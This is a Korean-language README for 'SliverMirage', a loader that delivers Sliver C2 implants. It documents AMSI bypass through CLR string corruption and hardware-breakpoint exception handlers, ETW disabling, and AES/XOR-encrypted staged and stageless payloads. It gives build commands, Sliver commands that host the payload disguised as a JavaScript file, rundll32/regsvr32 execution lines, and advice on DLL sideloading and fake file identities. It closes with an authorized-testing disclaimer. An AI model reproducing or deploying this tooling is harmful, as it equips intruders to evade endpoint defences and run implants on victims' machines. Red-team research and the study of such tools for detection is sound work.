
Sliver C2용 Crystal Palace PICO 로더 이중 계층 AMSI 우회, ETW 무력화, AES-256-CBC 암호화 페이로드, 6가지 전달 변형
CrystalSliver의 포크로, Crystal Palace PICO 로더를 확장하여 이중 계층 AMSI 우회, ETW 무력화, 그리고 Sliver C2용 6가지 전달 변형을 제공합니다.
SliverMirage는 Crystal Palace PICO 가상화를 통해 Sliver 임플란트 DLL을 래핑한 다음, amsi.dll이나 ntdll.dll을 패치하지 않고 AMSI와 ETW를 무력화하는 로더를 통해 전달합니다.
우회 스택:
| 계층 | 기법 | 상세 |
|---|---|---|
| AMSI L1 | CLR 문자열 손상 | LdrRegisterDllNotification이 clr.dll 로드를 가로채 CLR이 GetProcAddress를 호출하기 전에 .rdata의 AmsiScanBuffer를 손상시킵니다 |
| AMSI L2 | VEH + HWBP | AmsiScanBuffer에 대한 Vectored Exception Handler가 E_INVALIDARG를 반환합니다 |
| ETW | HWBP | NtTraceControl에 DR1 설정, STATUS_SUCCESS 반환 |
| Payload | AES-256-CBC + XOR | BCrypt 복호화, VirtualAlloc(RW) -> VirtualProtect(RX), RWX 없음 |
| Virtualization | Crystal Palace PICO | Sliver DLL이 PICO 프로세스 내에서 실행되어 사용자랜드 AV에 보이지 않음 |
Staged 변형은 런타임에 Sliver HTTPS 웹사이트에서 암호화된 PICO를 다운로드합니다. EXE/DLL은 작으며(~20KB) 디스크에 페이로드를 포함하지 않습니다.
Stageless 변형은 컴파일 타임에 암호화된 PICO를 포함합니다(XOR + AES 이중 계층). 디스크 크기는 더 크지만 비콘 콜백 전에는 네트워크 활동이 전혀 없습니다.
x86_64-w64-mingw32-gcc (mingw-w64)nasmpython3 (pefile 포함, pip install pefile)opensslbuild.sh가 자동으로 설치)빌드 스크립트는 누락된 의존성을 자동으로 프로비저닝하며(Crystal Palace 및 Java 17 포함) 전체 파이프라인을 처리합니다: DLL -> Crystal Palace PICO -> 암호화 -> 컴파일.
# Staged EXE (default)
./build.sh --dll /path/to/sliver_implant.dll --host 10.0.0.1
# Stageless EXE
./build.sh --dll /path/to/sliver_implant.dll --format exe-stageless
# Stageless DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll
# Staged DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll-staged --host 10.0.0.1
# Shellcode (staged)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode --host 10.0.0.1
# Shellcode (stageless)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode-stageless
옵션:
--dll <path> — Sliver 임플란트 DLL (필수)--host <ip> — C2 서버 IP (staged 형식에 필수)--port <port> — C2 포트 (기본값: 443)--path <path> — 페이로드 다운로드 URL 경로 (기본값: /assets/js/vendor.js)--format <fmt> — 출력 형식 (기본값: exe)--export <name> — 사용자 지정 DLL 내보내기(export) 이름Crystal Palace PICO blob이 이미 있는 경우:
# Staged EXE
make PICO=/path/to/implant.crystal.bin C2_HOST=10.0.0.1
# Stageless EXE
make exe-stageless PICO=/path/to/implant.crystal.bin
# Stageless DLL
make dll PICO=/path/to/implant.crystal.bin
# All targets
make clean
build/payload.dat를 Sliver HTTPS 웹사이트에 업로드합니다:
sliver > websites add-content --website cover \
--web-path /assets/js/vendor.js \
--content-type application/javascript \
--content build/payload.dat
build/csvchelper.exe(또는 .dll)를 대상에 전달합니다.
단일 파일 전달. C2 웹사이트 설정이 필요 없습니다.
rundll32 csvchelper.dll,StartW
regsvr32 /s csvchelper.dll
또는 DLL 사이드로딩을 사용하십시오(대상 애플리케이션이 로드하는 합법적인 DLL과 일치하도록 이름 변경).
내보내기: DllRegisterServer, DllUnregisterServer, StartW, VoidFunc
SliverMirage/
loader/ # Crystal Palace PICO loader (from CrystalSliver)
src/ # Loader C sources + draugr ASM
loader.spec # Crystal Palace linker spec
pico.spec # PICO generation spec
src/
stager_remote.c # Staged EXE
stager_stageless.c # Stageless EXE
stager_remote_dll.c # Staged DLL
stager_stageless_dll.c # Stageless DLL
stager_debug.c # Debug EXE (MessageBox diagnostics)
scripts/
gen_payload.py # AES-256-CBC encrypt (staged)
gen_payload_stageless.py # AES + XOR embed (stageless)
dll_to_shellcode.py # sRDI DLL-to-shellcode converter
resources/
resource.rc # Version info (EXE)
resource_dll.rc # Version info (DLL)
manifest.xml # asInvoker manifest
libtcg.x64.zip # TCG library for Crystal Palace
Makefile
build.sh
kernel32, advapi32, bcrypt만 포함 — 모두 합법적인 Windows APIVirtualProtect를 사용하지 않음WinMain 진입점, -mwindows — 콘솔 창이 깜빡이지 않음asInvoker 매니페스트가 UAC 휴리스틱을 억제함resource.rc / resource_dll.rc를 사용자 지정 커버 신원으로 수정하세요이 프로젝트는 승인된 보안 테스트, 연구 및 교육 목적으로만 사용해야 합니다. 침투 테스트를 수행할 수 있는 명시적 서면 허가가 있는 환경에서만 독점적으로 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다.
MIT
| 형식 | 파일 | 전달 | 런타임 시 C2? |
|---|
exe | Staged EXE | EXE + C2 웹사이트의 payload.dat | 예 (HTTPS) |
exe-stageless | Stageless EXE | 단일 EXE | 아니요 |
dll | Stageless DLL | 단일 DLL | 아니요 |
dll-staged | Staged DLL | DLL + C2 웹사이트의 payload.dat | 예 (HTTPS) |
shellcode | Staged shellcode | .bin + C2 웹사이트의 payload.dat | 예 (HTTPS) |
shellcode-stageless | Stageless shellcode | 단일 .bin | 아니요 |